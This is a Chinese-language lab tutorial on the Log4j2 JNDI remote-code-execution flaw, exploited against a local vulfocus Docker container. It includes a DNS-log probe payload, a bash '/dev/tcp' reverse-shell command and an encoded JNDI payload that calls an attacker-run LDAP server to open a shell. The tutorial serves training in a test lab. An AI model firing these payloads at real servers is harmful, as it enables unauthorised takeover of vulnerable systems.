0x01 漏洞简介

【漏洞描述】

        Apache Log4j 2是一款开源的Java的日志记录工具,大量的业务框架都使用了该组件。

        近日, Apache Log4j 的远程代码执行最新漏洞细节被公开,攻击者可通过构造恶意请求利用该漏洞实现在目标服务器上执行任意代码。可导致服务器被黑客控制,从而进行页面篡改、数据窃取、挖矿、勒索等行为。建议使用该组件的用户第一时间启动应急响应进行修复。

【漏洞等级】:紧急

       此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

【影响范围】:Java类产品:Apache Log4j 2.x < 2.15.0-rc2

log4j2 版本影响网上公布在2.0.0-2.15.0,并且jdk版本不易过高,过高需要配置trustURLCodebase 设置为 true。

0x02 环境搭建

这里用制作好的docker环境进行一件搭建。

PS: 建议给虚拟机大点内存

拉取镜像
docker pull vulfocus/log4j2-rce-2021-12-09
启动容器,替换自己本地端口避免冲突:
docker run -tid -p 8886:8080 vulfocus/log4j2-rce-2021-12-09

0x03目标渗透

访问:127.0.0.1:8886

访问127.0.0.1:8886/hello

出现OK 即表明环境搭建成功

访问存在漏洞页面:http://127.0.0.1:8886/hello,抓包。

  漏洞存在点在payload参数,payload格式为:${jndi:ldap://a2a7ad90.dns.1433.eu.org/exp}

POST传参被禁止

接着试试get 发现报错

url编码一下 重试

刷新下dnslog记录 发现已经记录上了IP

 发现dnslog.cn记录,说明存在log4j2-rce漏洞。

反弹Shell:以下操作均在本上(127.0.0.1)

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建恶意的jndi服务。

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

下载 JNDIExploit 测试服务器

本次使用 JNDIExploit 举例

下载完成后使用

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

 开启nc监听

 这样,攻击机的设置就完成了,然后开始写payload,触发漏洞,反弹shell。

  反弹shell paylaod:

  bash -i >& /dev/tcp/192.168.199.132/6666 0>&1

  进行base64编码然后两次url编码:

 YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE5OS4xMzIvNjY2NiAwPiYx

  最终payload为:

  ${jndi:ldap://192.168.199.132:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE5OS4xMzIvNjY2NiAwPiYx}

  发送数据包,触发漏洞,反弹shell:

0x04 小结


用心